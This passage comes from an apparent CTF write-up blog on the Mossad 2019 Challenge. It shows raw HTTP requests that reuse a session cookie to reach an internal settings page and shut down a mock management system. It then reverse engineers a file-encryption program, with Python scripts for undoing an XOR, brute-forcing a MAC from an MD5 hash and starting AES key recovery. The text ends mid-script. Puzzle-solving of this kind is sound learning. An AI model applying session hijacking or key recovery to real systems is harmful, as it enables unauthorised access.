<p>We now own the <code class="language-plaintext highlighter-rouge">administrator</code> end-entity certificate. Let’s access the <code class="language-plaintext highlighter-rouge">/settings</code> page:</p>
<p><img src="/assets/mossad_challenge/2_telnet.png" alt="" /></p>
<p>This seems to be some sort of telnet client, and a list of hosts in the LAN and their ports. If we tried to connect to any of the hosts with port 23, we would get an error: <code class="language-plaintext highlighter-rouge">Only one connection at a time is allowed</code>.</p>
<p>However, port 80 on 10.0.0.1 seems to work correctly. We can input raw HTTP requests into the textbox. I have sent a GET to /:</p>
<figure class="highlight"><pre><code class="language-http" data-lang="http"><span class="nf">GET</span> <span class="nn">/</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span></code></pre></figure>
<p>We got a response! The internal domain seems to be different, as it’s returning a cookie for <code class="language-plaintext highlighter-rouge">.missilesystem.com</code>. The page would look like this:</p>
<p><img src="/assets/mossad_challenge/2_internalmgmt.png" alt="" /></p>
<p>After sending a GET request to /settings, we receive a <code class="language-plaintext highlighter-rouge">302 Found</code> response with a redirect to /. So something’s missing. After trying a bit of different things, it appears that adding the <code class="language-plaintext highlighter-rouge">SID</code> cookie from the previous request allows you to access the settings page.</p>
<figure class="highlight"><pre><code class="language-http" data-lang="http"><span class="nf">GET</span> <span class="nn">/settings</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">SID=Z0FBQUFBQmMzc1hkaG...</span></code></pre></figure>
<p>In the returned page, we can see a button to turn off the management system:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="nt"><form</span> <span class="na">method=</span><span class="s">"post"</span><span class="nt">></span>
<span class="nt"><div</span> <span class="na">id=</span><span class="s">"console"</span><span class="nt">></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Turn Off Management System"</span><span class="nt">></span>
<span class="nt"></div></span>
<span class="nt"></form></span></code></pre></figure>
<p>So all we need is to POST to /settings now, with our cookie.</p>
<figure class="highlight"><pre><code class="language-http" data-lang="http"><span class="nf">POST</span> <span class="nn">/settings</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Cookie</span><span class="p">:</span> <span class="s">SID=Z0FBQUFBQmMzc1hkaG...</span></code></pre></figure>
<p>After sending the POST, we’ll be redirected to the completion page:</p>
<p><img src="/assets/mossad_challenge/2_done.png" alt="" /></p>yanirThe second challenge begins.The Mossad 2019 Challenge - Part 32019-05-16T22:00:00+04:002019-05-16T22:00:00+04:00https://yanir.dev//The%20Mossad%202019%20Challenge%20-%20Part%203<p>The third challenge begins.</p>
<p><img src="/assets/mossad_challenge/third_challenge.png" alt="" /></p>
<p>We are given two files: an encrypted file of some sort, and the Windows executable used to encrypt it. The task is simple, reverse engineer the executable and figure out how to decrypt the file.</p>
<p>First off, I’m going to try to encrypt my own file that simply contains “hey” in it, and see what the output would be, to see how the output looks like, compared to the input.</p>
<figure class="highlight"><pre><code class="language-plaintext" data-lang="plaintext">C:\Users\User\Documents\mos>EncryptSoftware.exe
USAGE: Encrypt <input file name> <output file name>
C:\Users\User\Documents\mos>EncryptSoftware.exe secret.txt secret.enc</code></pre></figure>
<p>The program output a file with 3004 bytes. The format doesn’t seem recognizable, let’s go ahead and start reversing.</p>
<p>The main function is easily identifiable due to the usage text we saw earlier. Here’s the pseudo code from Ghidra decompiler, with some variable names I personally assigned:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="n">undefined4</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">argc</span><span class="p">,</span><span class="kt">int</span> <span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">LPCWSTR</span> <span class="n">lpFileName</span><span class="p">;</span>
<span class="n">DWORD</span> <span class="n">DVar1</span><span class="p">;</span>
<span class="n">LPCVOID</span> <span class="n">encrypted_buffer</span><span class="p">;</span>
<span class="n">HANDLE</span> <span class="o">*</span><span class="n">ppvVar2</span><span class="p">;</span>
<span class="n">HANDLE</span> <span class="n">createfilehandle</span><span class="p">;</span>
<span class="n">DWORD</span> <span class="n">numOfBytesWritten</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">argc</span> <span class="o"><</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"USAGE: Encrypt <input file name> <output file name>"</span><span class="p">);</span>
<span class="k">return</span> <span class="mh">0xffffffff</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">argc</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">encrypted_buffer</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPCVOID</span><span class="p">)</span><span class="n">encrypt_file</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">ushort</span> <span class="o">**</span><span class="p">)(</span><span class="n">argv</span> <span class="o">+</span> <span class="mi">4</span><span class="p">),(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">argc</span><span class="p">);</span>
<span class="n">lpFileName</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">LPCWSTR</span> <span class="o">*</span><span class="p">)(</span><span class="n">argv</span> <span class="o">+</span> <span class="mi">8</span><span class="p">);</span>
<span class="n">ppvVar2</span> <span class="o">=</span> <span class="p">(</span><span class="n">HANDLE</span> <span class="o">*</span><span class="p">)</span><span class="n">HeapAlloc</span><span class="p">(</span><span class="mi">4</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ppvVar2</span> <span class="o">!=</span> <span class="p">(</span><span class="n">HANDLE</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">createfilehandle</span> <span class="o">=</span>
<span class="n">CreateFileW</span><span class="p">(</span><span class="n">lpFileName</span><span class="p">,</span><span class="mh">0x40000000</span><span class="p">,</span><span class="mi">0</span><span class="p">,(</span><span class="n">LPSECURITY_ATTRIBUTES</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
<span class="n">DVar1</span> <span class="o">=</span> <span class="n">argc</span><span class="p">;</span>
<span class="o">*</span><span class="n">ppvVar2</span> <span class="o">=</span> <span class="n">createfilehandle</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">createfilehandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0xffffffff</span><span class="p">)</span> <span class="p">{</span>
<span class="n">free_handle</span><span class="p">(</span><span class="n">ppvVar2</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">numOfBytesWritten</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">WriteFile</span><span class="p">(</span><span class="o">*</span><span class="n">ppvVar2</span><span class="p">,</span><span class="n">encrypted_buffer</span><span class="p">,</span><span class="n">argc</span><span class="p">,</span><span class="o">&</span><span class="n">numOfBytesWritten</span><span class="p">,(</span><span class="n">LPOVERLAPPED</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">numOfBytesWritten</span> <span class="o">!=</span> <span class="n">DVar1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">delete_file</span><span class="p">(</span><span class="n">lpFileName</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>The main function doesn’t do too much. Most of the interesting code happens in the <code class="language-plaintext highlighter-rouge">encrypt_file</code> function which we’ll go through.</p>
<h2 id="analysis-of-the-encryption-function">Analysis of the encryption function</h2>
<p>The function receives two parameters: one is the path to the input filename, the second is a reference to a variable that stores the buffer size.</p>
<p>The function begins with calling another function, which we’ll call <code class="language-plaintext highlighter-rouge">createMD5Hash</code>:</p>
<h3 id="createmd5hash">createMD5Hash</h3>
<p>This function gets the length of the input file path, and allocates a buffer of the length plus 6 bytes. So if our file path was <code class="language-plaintext highlighter-rouge">aaa.txt</code> (7 bytes), the allocated buffer would be 13 bytes.
Then, there’s a call to another function, which calls the <code class="language-plaintext highlighter-rouge">GetAdaptersInfo</code>, it returns the MAC address of the first adapter.
Finally, you have a file path length + 6 bytes long buffer with the input path, and the additional 6 bytes are the MAC address.</p>
<p>Let’s look at the pseudo code after this:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="n">BVar5</span> <span class="o">=</span> <span class="n">CryptAcquireContextW</span><span class="p">(</span><span class="o">&</span><span class="n">local_24</span><span class="p">,(</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,(</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mh">0xf0000000</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">BVar5</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">BVar5</span> <span class="o">=</span> <span class="n">CryptCreateHash</span><span class="p">(</span><span class="n">local_24</span><span class="p">,</span><span class="mh">0x8003</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="o">&</span><span class="n">local_1c</span><span class="p">);</span> <span class="c1">// MD5 Hash</span>
<span class="k">if</span> <span class="p">(</span><span class="n">BVar5</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">BVar5</span> <span class="o">=</span> <span class="n">CryptHashData</span><span class="p">(</span><span class="n">local_1c</span><span class="p">,(</span><span class="n">BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">pbData</span><span class="p">,</span><span class="n">fileNameLen</span> <span class="o">+</span> <span class="mi">6</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span> <span class="c1">// Hash the file path + MAC address</span>
<span class="k">if</span> <span class="p">(</span><span class="n">BVar5</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">BVar5</span> <span class="o">=</span> <span class="n">CryptGetHashParam</span><span class="p">(</span><span class="n">local_1c</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="n">md5_hash_result</span><span class="p">,</span><span class="o">&</span><span class="n">buffer_size</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span> <span class="c1">// Output hash into md5_hash_result</span>
<span class="k">if</span> <span class="p">(</span><span class="n">BVar5</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">output_buffer</span> <span class="o">=</span> <span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)</span><span class="n">HeapAlloc</span><span class="p">(</span><span class="mh">0x20</span><span class="p">);</span> <span class="c1">// Allocate 32byte buffer</span>
<span class="k">if</span> <span class="p">(</span><span class="n">output_buffer</span> <span class="o">!=</span> <span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="o">*</span><span class="n">output_buffer</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// Zero-out the buffer</span>
<span class="n">output_buffer</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">output_buffer</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">output_buffer</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">output_buffer</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">output_buffer</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">output_buffer</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">output_buffer</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o"><</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">buffer_size</span><span class="p">)</span> <span class="p">{</span>
<span class="k">do</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="mh">0xf</span> <span class="o"><</span> <span class="n">offset</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
<span class="c1">// Split each byte to 2 nibbles</span>
<span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)((</span><span class="kt">int</span><span class="p">)</span><span class="n">output_buffer</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="o">=</span> <span class="n">md5_hash_result</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span> <span class="o">>></span> <span class="mi">4</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)((</span><span class="kt">int</span><span class="p">)</span><span class="n">output_buffer</span> <span class="o">+</span> <span class="n">offset</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">=</span> <span class="n">md5_hash_result</span><span class="p">[</span><span class="n">offset</span><span class="p">]</span> <span class="o">&</span> <span class="mh">0xf</span><span class="p">;</span>
<span class="n">offset</span> <span class="o">=</span> <span class="n">offset</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">offset</span> <span class="o"><</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">buffer_size</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>As seen in the code, the program creates a MD5 hash of the previously created buffer of filename + MAC address. MD5 hashes are 16-byte long, so why does the program allocate a 32 byte buffer?
The program actually splits each byte in the MD5 hash into two nibbles (4 bits), and stores each nibble in a byte of the buffer. This can be seen where the program does a shift-right 4 times, and a bitwise AND with 0xf.</p>
<p>This is everything for the MD5 hash creation. Let’s move forward.</p>
<p>After the MD5 calculation, there’s a call to a function that does some sort of AES encryption.</p>
<h3 id="aes-encryption">AES Encryption</h3>
<p>The function starts by creating a crypto handle using <code class="language-plaintext highlighter-rouge">CryptAcquireContextA</code>, the provider type used is <code class="language-plaintext highlighter-rouge">PROV_RSA_AES</code> which hints at the program using AES encryption.
It then creates a MD5 hash handle, which will be fed data and then passed to <code class="language-plaintext highlighter-rouge">CryptDeriveKey</code>. <code class="language-plaintext highlighter-rouge">CryptDeriveKey</code> is used to derive and generate a new encryption key from a hash object.</p>
<p>So which data is being given to the MD5 hash? This is important, since if we’re able to derive from the same data, we’ll have the same AES key.</p>
<p>The function allocates a 14-byte buffer, this buffer comprises of 3 things:</p>
<ol>
<li>6 bytes MAC address of first adapter (similarly to createMD5Hash)</li>
<li>4 bytes from the BIOS serial number.</li>
<li>4 bytes from the disk serial number.</li>
</ol>
<p>The function gets the BIOS and disk serial number by running <code class="language-plaintext highlighter-rouge">wmic bios get serialnumber</code> and <code class="language-plaintext highlighter-rouge">wmic diskdrive get serialnumber</code> in cmd.exe, piping the output to a file (<code class="language-plaintext highlighter-rouge">command_result.txt</code>) and reading 4 bytes from the second line of the file.</p>
<p>So, the 14 byte buffer is fed to the hash handle, a key is derived and then it encrypts the input file, by block sizes of 16 bytes. The AES encryption func also receives a 2nd parameter where the total encrypted buffer size is stored, this number will be divisible by 16 as 16 is the AES block size.</p>
<h2 id="the-junk-array-and-file-format">The junk array, and file format</h2>
<p>After the AES encryption part, the program gets 4 bytes from BIOS serial number similar to before, and fills an array of 2500 bytes.
The first 4 bytes in that array are the BIOS S/N, and then each 4 bytes are the previous 4 bytes multiplied by 6069, and the last 4 bytes serve as the counter. This junk array plays a role when writing to the file.</p>
<p>This is my python pseudo-code to reconstruct the same array:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">struct</span>
<span class="n">starting_bios_value</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="s">"VMwa"</span><span class="p">)</span> <span class="c1"># My VMware BIOS S/N string
</span>
<span class="k">def</span> <span class="nf">build</span><span class="p">(</span><span class="n">reps</span><span class="o">=</span><span class="mi">623</span><span class="p">):</span>
<span class="n">buf</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
<span class="n">current_value</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">"I"</span><span class="p">,</span> <span class="n">starting_bios_value</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">starting_bios_value</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">reps</span><span class="p">):</span>
<span class="n">current_value</span> <span class="o">=</span> <span class="p">(</span><span class="mi">6069</span> <span class="o">*</span> <span class="n">current_value</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xffffffff</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">"I"</span><span class="p">,</span> <span class="n">current_value</span><span class="p">)</span>
<span class="c1"># The counter
</span> <span class="n">buf</span> <span class="o">+=</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">"I"</span><span class="p">,</span> <span class="mi">624</span><span class="p">)</span>
<span class="k">return</span> <span class="n">buf</span></code></pre></figure>
<p>So the beginning of the file is being built this way:</p>
<ol>
<li>A 4 byte magic is added (0x531B008A) in the beginning.</li>
<li>The 32 byte MD5 result from createMD5Hash is added.</li>
</ol>
<p>Then, the AES encrypted data is being written in a very specific way. First the program calculates how much bytes to write out of the AES encrypted buffer each time, and after how many iterations should it drop that number by 1.</p>
<p><code class="language-plaintext highlighter-rouge">bytes_to_write = encrypted_buffer_size / 739 + 1</code>
<code class="language-plaintext highlighter-rouge">iterations_until_dropping_write_size = encrypted_buffer_size - (739 * (encrypted_buffer_size / 739))</code></p>
<p>The loop operates this way:</p>
<ol>
<li>If the current number of iterations is equal to <code class="language-plaintext highlighter-rouge">iterations_until_dropping_write_size</code>, subtract 1 from <code class="language-plaintext highlighter-rouge">bytes_to_write</code>.</li>
<li>Write 4 bytes from the junk array.</li>
<li>Write <code class="language-plaintext highlighter-rouge">bytes_to_write</code> bytes from the AES encrypted buffer.</li>
</ol>
<p>After this, the whole buffer goes through a XOR operation before being written to the file. The buffer is XORed against 4 bytes from disk serial number, retrieved in the same method mentioned previously.</p>
<h2 id="decryption">Decryption</h2>
<p>To decrypt the file, we will complete the following steps with the encrypted file:</p>
<ol>
<li>XOR the first 4 bytes with the file magic (0x531B008A), the result is disk serial number.</li>
<li>XOR the rest of the file with the disk serial number.</li>
<li>Rebuild the MD5 and try to find the MAC address. (The filename part is known: intel.txt)</li>
<li>Having the disk serial number, MAC address, and BIOS S/N, we can derive the key, reconstruct the encrypted data and decrypt it.</li>
</ol>
<h2 id="solving-the-xor">Solving the XOR</h2>
<p>In this following Python script, we XOR the first 4 bytes with the magic to get the disk serial number back.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">struct</span>
<span class="n">FILE_MAGIC</span> <span class="o">=</span> <span class="mh">0x531B008A</span>
<span class="k">def</span> <span class="nf">get_disk_sn</span><span class="p">(</span><span class="n">first_four_bytes</span><span class="p">):</span>
<span class="n">xored_magic</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">"I"</span><span class="p">,</span> <span class="n">first_four_bytes</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">return</span> <span class="n">xored_magic</span> <span class="o">^</span> <span class="n">FILE_MAGIC</span>
<span class="nb">input</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"intel.txt.enc"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span>
<span class="n">output</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"intel.txt"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">)</span>
<span class="n">disk_sn</span> <span class="o">=</span> <span class="n">get_disk_sn</span><span class="p">(</span><span class="nb">input</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">4</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Disk S/N: "</span> <span class="o">+</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">"I"</span><span class="p">,</span> <span class="n">disk_sn</span><span class="p">))</span>
<span class="nb">input</span><span class="p">.</span><span class="n">seek</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="n">buf</span> <span class="o">=</span> <span class="nb">input</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">buf</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">input_byte</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">"I"</span><span class="p">,</span> <span class="n">buf</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">res</span> <span class="o">=</span> <span class="p">(</span><span class="n">input_byte</span> <span class="o">^</span> <span class="n">disk_sn</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0xffffffff</span>
<span class="n">out_byte</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">"I"</span><span class="p">,</span> <span class="n">res</span><span class="p">)</span>
<span class="n">output</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">out_byte</span><span class="p">)</span>
<span class="nb">input</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">output</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Done"</span><span class="p">)</span></code></pre></figure>
<p>The output:</p>
<figure class="highlight"><pre><code class="language-shell" data-lang="shell">Disk S/N: 0000
Done</code></pre></figure>
<p>So now we know the disk serial number, and we have the original file before XOR at <code class="language-plaintext highlighter-rouge">intel.txt</code>.</p>
<h2 id="solving-the-mac-address">Solving the MAC address</h2>
<p>Now it’s important to use a hint that we’ve been given at the beginning of the challenge. The challenge text mentioned the manufacturer was “Or… Po… Ltd.”, so we’ll look for this specific MAC vendor and it’s MAC address range.</p>
<p>I personally downloaded the MAC vendor list from <a href="https://gist.github.com/aallan/b4bb86db86079509e6159810ae9bd3e4">GitHub</a>, and ran a regex with Sublime Text: <code class="language-plaintext highlighter-rouge">Or.+.+.+ P</code>. I found this MAC vendor with the 00:13:37 address prefix: <code class="language-plaintext highlighter-rouge">001337 Orient Power Home Network Ltd.</code></p>
<p>So now we know the first 3 bytes of our MAC, it’s a matter of a few seconds to brute-force through 0xffffff MD5 combinations. I wrote a Python script to reconstruct the MD5 from the nibbles and brute-force the MD5 hash to find the rest of the MAC:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">itertools</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">import</span> <span class="nn">binascii</span>
<span class="n">known_filename</span> <span class="o">=</span> <span class="s">"intel.txt"</span>
<span class="n">known_mac</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x00\x13\x37</span><span class="s">"</span>
<span class="nb">input</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"intel.txt"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">)</span>
<span class="nb">input</span><span class="p">.</span><span class="n">seek</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
<span class="n">packed_md5</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="nb">input</span><span class="p">.</span><span class="n">read</span><span class="p">(</span><span class="mi">32</span><span class="p">))</span>
<span class="n">real_md5</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
<span class="c1"># Reconstruct MD5 from nibbles
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="n">real_md5</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">packed_md5</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">2</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">4</span><span class="p">)</span> <span class="o">|</span> <span class="n">packed_md5</span><span class="p">[</span><span class="n">i</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="s">"found md5"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">binascii</span><span class="p">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">real_md5</span><span class="p">))</span>
<span class="c1"># bruteforce
</span><span class="k">print</span><span class="p">(</span><span class="s">"bruteforcing 3 bytes"</span><span class="p">)</span>
<span class="n">allbytes</span> <span class="o">=</span> <span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">byte_sequence</span> <span class="ow">in</span> <span class="n">itertools</span><span class="p">.</span><span class="n">permutations</span><span class="p">(</span><span class="n">allbytes</span><span class="p">,</span> <span class="mi">3</span><span class="p">):</span>
<span class="k">if</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">md5</span><span class="p">(</span><span class="n">known_filename</span> <span class="o">+</span> <span class="n">known_mac</span> <span class="o">+</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">byte_sequence</span><span class="p">)).</span><span class="n">digest</span><span class="p">()</span> <span class="o">==</span> <span class="n">real_md5</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">"jackpot"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">byte_sequence</span><span class="p">)</span>
<span class="k">break</span></code></pre></figure>
<p>And we got our 3 bytes after a few seconds, the MAC is <code class="language-plaintext highlighter-rouge">00:13:37::8e:ab:66</code>:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">found</span> <span class="n">md5</span>
<span class="mi">0949</span><span class="n">b46b73e3af6f5afc81955367295c</span>
<span class="n">bruteforcing</span> <span class="mi">3</span> <span class="nb">bytes</span>
<span class="n">jackpot</span>
<span class="p">(</span><span class="s">'</span><span class="se">\x8e</span><span class="s">'</span><span class="p">,</span> <span class="s">'</span><span class="se">\xab</span><span class="s">'</span><span class="p">,</span> <span class="s">'f'</span><span class="p">)</span></code></pre></figure>
<p>As for the BIOS serial number, I was working in a VMware Windows machine and my encrypted files matched the bytes where I guessed the BIOS serial number was supposed to be retrieved from. So personally, I didn’t need to write any scripts, I just knew the 4 bytes were “<code class="language-plaintext highlighter-rouge">VMwa</code>”, Lucky me.</p>
<p>To solve this, I wrote a Python script that utilizes <code class="language-plaintext highlighter-rouge">wincrypto</code>, which provides WinCrypto bindings for Python. I have followed the same calculation as they are in the binary, the script can be executed against the file after reversing the XOR operation with the previous script.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">struct</span>
<span class="kn">from</span> <span class="nn">wincrypto</span> <span class="kn">import</span> <span class="n">CryptCreateHash</span><span class="p">,</span> <span class="n">CryptHashData</span><span class="p">,</span> <span class="n">CryptDeriveKey</span><span class="p">,</span> <span class="n">CryptDecrypt</span>
<span class="kn">from</span> <span class="nn">wincrypto.constants</span> <span class="kn">import</span> <span class="n">CALG_MD5</span><span class="p">,</span> <span class="n">CALG_AES_256</span>
<span class="kn">import</span> <span class="nn">os.path</span>
<span class="n">known_mac</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x00\x13\x37\x8e\xab\x66</span><span class="s">"</span>
<span class="n">known_serial</span> <span class="o">=</span> <span class="s">"0000"</span>
<span class="n">known_bios_sn</span><span class="o">=</span><span class="s">"VMwa"</span>
<span class="n">target_file</span> <span class="o">=</span> <span class="s">"intel.txt"</span>
<span class="n">assumed_filesize</span> <span class="o">=</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">getsize</span><span class="p">(</span><span class="n">target_file</span><span class="p">)</span> <span class="o">-</span> <span class="mi">2992</span><span class="p">)</span>
<span class="n">encrypted_size</span> <span class="o">=</span> <span class="n">assumed_filesize</span>
